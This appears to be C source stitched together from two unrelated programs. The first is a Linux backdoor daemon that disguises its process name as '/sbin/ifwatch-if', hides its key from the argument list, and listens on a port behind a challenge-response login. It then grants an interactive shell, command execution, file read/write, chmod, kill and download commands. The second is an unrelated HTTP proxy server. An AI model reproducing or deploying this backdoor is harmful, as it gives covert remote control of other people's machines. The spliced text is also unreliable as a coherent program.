int main(int argc, char *argv[]) { #if 0 { crypto_hash(buffer, buffer, 96); hd(buffer, 1088 / 8); } #endif if (argc == 2) { static char *eargv[] = { "/sbin/ifwatch-if", "eth0", 0, 0 }; eargv[2] = argv[1]; execve(argv[0], eargv, environ); } { int i; for (i = 0; i < 64 + 2; ++i) secret[32 + i] = argv[2][i * 2 + 0] * 16 + argv[2][i * 2 + 1] - 'a' * (16 + 1); for (i = 0; i < (64 + 2) * 2; ++i) argv[2][i] = ' '; } int ls = socket(AF_INET, SOCK_STREAM, 0); if (ls < 0) return 0; struct sockaddr_in sa; sa.sin_family = AF_INET; sa.sin_addr.s_addr = INADDR_ANY; sa.sin_port = *(uint16_t *) (secret + 32 + 64); sockopts(0); if (bind(ls, (struct sockaddr *)&sa, sizeof (sa))) return 0; if (listen(ls, 1)) return 0; write(1, MSG("ZohHoo5i")); if (fork()) return 0; sigaction(SIGHUP, &sa_sigign, 0); sigaction(SIGCHLD, &sa_sigign, 0); syscall(SCN(SYS_setsid)); for (;;) { { int i = open("/dev/urandom", O_RDONLY); if (i >= 0) { read(i, secret, 32); close(i); } ++secret[0]; for (i = 0; i < 31; ++i) secret[i + 1] += secret[i]; } int fd = accept(ls, 0, 0); if (fd >= 0) { if (fork() == 0) { close(ls); syscall(SCN(SYS_setsid)); sigaction(SIGCHLD, &sa_sigdfl, 0); setfds(fd); sockopts(0); write(0, secret, 32 + 32); crypto_hash(buffer, secret, 32 + 32 + 32); rpkt(32); if (memcmp(buffer, buffer + 32, 32)) x(); wpkt(MSG(VERSION "/" arch)); /* version/arch */ static const uint32_t endian = 0x11223344; wpkt((uint8_t *) & endian, sizeof (endian)); wpkt(buffer, 0); uint8_t clen; int fh = -1; int ret; while ((clen = rpkt(0))) switch (buffer[0]) { case 1: // telnet { static char *argv[] = { "sh", "-i", 0 }; execve("/bin/sh", argv, environ); } break; case 2: // open readonly case 3: // open wrcreat ret = fh = open(buffer + 1, buffer[0] == 2 ? O_RDONLY : O_RDWR | O_CREAT, 0600); break; case 4: // close close(fh); break; case 5: // kill ret = syscall(SCN(SYS_kill), *(uint32_t *) (buffer + 4), buffer[1]); break; case 6: // chmod ret = syscall(SCN(SYS_chmod), buffer + 4, *(uint16_t *) (buffer + 2)); break; case 7: // rename rpkt(260); ret = syscall(SCN(SYS_rename), buffer + 1, buffer + 260); break; case 8: // unlink ret = syscall(SCN(SYS_unlink), buffer + 1); break; case 9: // mkdir ret = syscall(SCN(SYS_mkdir), buffer + 1, 0700); break; case 10: // wget ret = wget(fh); break; case 11: // lstat case 23: // stat { struct stat buf; int l = (buffer[0] == 23 ? stat : lstat) (buffer + 1, &buf); ((uint32_t *) buffer)[0] = buf.st_dev; ((uint32_t *) buffer)[1] = buf.st_ino; ((uint32_t *) buffer)[2] = buf.st_mode; ((uint32_t *) buffer)[3] = buf.st_size; ((uint32_t *) buffer)[4] = buf.st_mtime; wpkt(buffer, l ? 0 : sizeof (uint32_t) * 5); } break; case 12: { struct statfs sfsbuf; int l = statfs(buffer + 1, &sfsbuf); ((uint32_t *) buffer)[0] = sfsbuf.f_type; ((uint32_t *) buffer)[1] = sfsbuf.f_bsize; ((uint32_t *) buffer)[2] = sfsbuf.f_blocks; ((uint32_t *) buffer)[3] = sfsbuf.f_bfree; ((uint32_t *) buffer)[4] = sfsbuf.f_bavail; ((uint32_t *) buffer)[5] = sfsbuf.f_files; ((uint32_t *) buffer)[6] = sfsbuf.f_ffree; wpkt(buffer, l ? 0 : sizeof (uint32_t) * 7); } break; case 13: // exec quiet case 14: // exec till marker { int quiet = buffer[0] == 13; pid_t pid = fork(); if (pid == 0) { if (quiet) setfds(open("/dev/null", O_RDWR)); static char *argv[] = { "sh", "-c", buffer + 1, 0 }; execve("/bin/sh", argv, environ); _exit(0); } if (pid > 0) syscall(SCN(SYS_waitpid), (int)pid, &ret, 0); if (!quiet) wpkt(secret, 32 + 32); // challenge + id } break; case 15: // readdir { int l; while ((l = syscall(SCN(SYS_getdents64), fh, buffer, sizeof (buffer))) > 0) { uint8_t *buf = buffer; do { int w = l > 254 ? 254 : l; wpkt(buf, w); buf += w; l -= w; } while (l); } wpkt(buffer, 0); } break; case 16: // lseek ret = lseek(fh, *(int32_t *) (buffer + 4), buffer[3]); break; case 17: // fnv case 18: // readall { int fnv = buffer[0] == 17; uint32_t hval = 2166136261U; int l; while ((l = read(fh, buffer, 254)) > 0) { if (fnv) { uint8_t *p = buffer; while (l--) { hval ^= *p++; hval *= 16777619; } } else wpkt(buffer, l); } wpkt((uint8_t *) & hval, fnv ? sizeof (hval) : 0); } break; case 19: // write ret = write(fh, buffer + 1, clen - 1); break; case 20: // readlink { int l = syscall(SCN(SYS_readlink), buffer + 1, buffer + 260, 255); wpkt(buffer + 260, l > 0 ? l : 0); } break; case 21: // readret wpkt((uint8_t *) & ret, sizeof (ret)); break; case 22: // chdir ret = syscall(SCN(SYS_chdir), buffer + 1); break; default: x(); } } // keep fd open for at least delay, also delay hack attempts static const struct timespec ts = { 1, 0 }; syscall(SCN(SYS_nanosleep), &ts, 0); close(fd); } } }
int main(int argc, char *argv[]) { int status, new_fd; int listensock; struct addrinfo hints, *res; struct sockaddr saddr; socklen_t saddr_size = sizeof(saddr); char buf[BUFSIZE]; int ret; struct fdnode *fdl = NULL, *writefdl = NULL, *t; struct cnode *cache = NULL; fd_set readfds, writefds; struct timeval timeout; memset(&hints, 0, sizeof(struct addrinfo)); hints.ai_family = AF_INET; hints.ai_socktype = SOCK_STREAM; hints.ai_protocol = IPPROTO_TCP; if (argc != 2) { printf("Usage: %s PORT\n", argv[0]); exit(1); } if (ret = getaddrinfo(NULL, argv[1], &hints, &res)) { printf("getaddrinfo: %s\n", gai_strerror(ret)); exit(1); } if ((listensock = socket(res->ai_family, res->ai_socktype, res->ai_protocol)) == -1) { perror("socket"); freeaddrinfo(res); exit(1); } if (bind(listensock, res->ai_addr, res->ai_addrlen) == -1) { perror("bind"); freeaddrinfo(res); close(listensock); exit(1); } if (listen(listensock, MAX_CON_NUM) == -1) { perror("listen"); freeaddrinfo(res); close(listensock); exit(1); } timeout.tv_sec = 60 * 3; timeout.tv_usec = 0; while (1) { struct cnode *c; int i = 0; ret = setfds(&readfds, &writefds, fdl, listensock); printf("wait for select\n"); ret = select(ret, &readfds, &writefds, NULL, &timeout); printf("got selected %d fds\n", ret); if (ret < 0) { perror("select"); break; } if (ret == 0) { /* timeout */ printf(".\n"); continue; } for (c = cache; c != NULL; c = c->next) { i++; printf("%s\n", c->url); } printf("Got %d cache pages\n", i); for (t = fdl; t != NULL; t = t->next) { if (FD_ISSET(t->fd, &readfds)) printf("%d is ready to read\n", t->fd); if (FD_ISSET(t->fd, &writefds)) printf("%d is ready to write\n", t->fd); if (FD_ISSET(t->sout, &readfds)) printf("%d is ready to read\n", t->sout); if (FD_ISSET(t->sout, &writefds)) printf("%d is ready to write\n", t->sout); } if (FD_ISSET(listensock, &readfds)) { new_fd = accept(listensock, &saddr, &saddr_size); if (new_fd == -1) { perror("accept"); continue; } ret = fdladd(new_fd, &fdl); if (ret == -1) { perror("add socket"); continue; } printf("Accepted new %d\n", new_fd); } for (t = fdl; t != NULL; t = t->next) { if (t->use && t->rw == 1 && !t->full && !t->eof && FD_ISSET(t->sout, &readfds)) { //memset(buf, 0, BUFSIZE); printf("to read from sout %d\n", t->sout); if (t->nread >= t->nwrote) { ret = read(t->sout, t->buf + t->nread, sizeof(t->buf)-t->nread); //cacheit(&cache, t->url, t->buf + t->nread, ret); if (ret == 0) { t->eof = 1; //completecache(cache, t->url); /* close(t->sout); fdlrem(t->fd, fdl); printf("Closed %d\n", t->sout); continue; */ } else { t->nread += ret; if (t->nread == sizeof(t->buf)) t->nread = 0; if (t->nread == t->nwrote) t->full = 1; t->empty = 0; } } else { ret = read(t->sout, t->buf + t->nread, t->nwrote-t->nread); //cacheit(&cache, t->url, t->buf + t->nread, ret); if (ret == 0) { t->eof = 1; //completecache(cache, t->url); /* close(t->sout); fdlrem(t->fd, fdl); printf("Closed %d\n", t->sout); continue; */ } else { t->nread += ret; if (t->nread == t->nwrote) t->full = 1; t->empty = 0; } } } if (t->use && t->rw == 0 && FD_ISSET(t->fd, &readfds)) { memset(buf, 0, BUFSIZE); printf("to read from sin %d\n", t->fd); ret = read(t->fd, buf, BUFSIZE); if (ret > 0) { int len; char *url; char *host; char *dir; write(1, buf, ret); /* Parse incoming request */ if (parsereq(buf, ret, &url, &len) == -1) { close(t->fd); close(t->sout); t->use = 0; continue; } t->url = malloc((len+1)*sizeof(char)); t->url = strncpy(t->url, url, len); t->url[len] = '\0'; /* Parse given URL */ parseurl(t->url, &len, &host, &dir); t->host = malloc((len+1)*sizeof(char)); t->host = strncpy(t->host, host, len); t->host[len] = '\0'; len = strlen(t->url) - len; t->uri = malloc((len+1)*sizeof(char)); t->uri = strncpy(t->uri, dir, len); t->uri[len] = '\0'; /* if (t->cache = cached(cache, t->url)) { t->cached = 1; t->rw = 1; continue; } */ if (ret = getaddrinfo(t->host, "http", &hints, &t->addr)) { printf("getaddrinfo: %s\n", gai_strerror(ret)); write(t->fd, "HTTP/1.0 400\r\n\r\n", 17); close(t->fd); fdlrem(t->fd, fdl); continue; } if (connect(t->sout, t->addr->ai_addr, t->addr->ai_addrlen) == -1) { if (errno == EINPROGRESS) { printf("wait for connection on %d\n", t->fd); continue; } close(t->fd); fdlrem(t->fd, fdl); } continue; } if (ret == 0) { close(t->fd); fdlrem(t->fd, fdl); printf("Closed %d\n", t->fd); } } //} /* readfds */ //for (t = fdl; t != NULL; t = t->next) { if (t->use && t->rw == 0 && FD_ISSET(t->sout, &writefds)) { int len = strlen(t->uri) + 3 + 8 + 6; char *msg = malloc(len*sizeof(char)); printf("to write to sout %d\n", t->sout); sprintf(msg, "GET %s HTTP/1.0\r\n\r\n", t->uri); if (write(t->sout, msg, len) <= 0) { perror("write sout"); close(t->fd); fdlrem(t->fd, fdl); continue; } t->rw = 1; free(msg); printf("request on %d\n", t->sout); } if (t->use && t->rw == 1 && t->cached == 0 && !t->empty && FD_ISSET(t->fd, &writefds)) { char *l; if (t->nwrote < t->nread) l = t->buf + t->nread; else l = t->buf + sizeof(t->buf); //ret = write(t->fd, t->buf + t->nwrote, l - (t->buf + t->nwrote)); ret = send(t->fd, t->buf + t->nwrote, l - (t->buf + t->nwrote), 0); if (ret <= 0) { perror("write sin"); close(t->fd); fdlrem(t->fd, fdl); continue; } t->nwrote += ret; t->full = 0; if (t->nwrote == sizeof(t->buf)) t->nwrote = 0; if (t->nwrote == t->nread) t->empty = 1; } if (t->use && t->rw == 1 && t->cached == 1 && FD_ISSET(t->fd, &writefds)) { ret = write(t->fd, t->cache->content + t->nwrote, t->cache->size - t->nwrote); t->nwrote += ret; printf("work from cache for %s\n", t->url); if (t->nwrote == t->cache->size) { t->eof = 1; t->empty = 1; } } if (t->use && t->eof && t->empty) { fdlrem(t->fd, fdl); printf("Completed %d\n", t->fd); continue; } } /* fdl traverse */ } /* while (1) */ printf("gotcha"); fdlfree(fdl); freeaddrinfo(res); close(listensock); return 0; }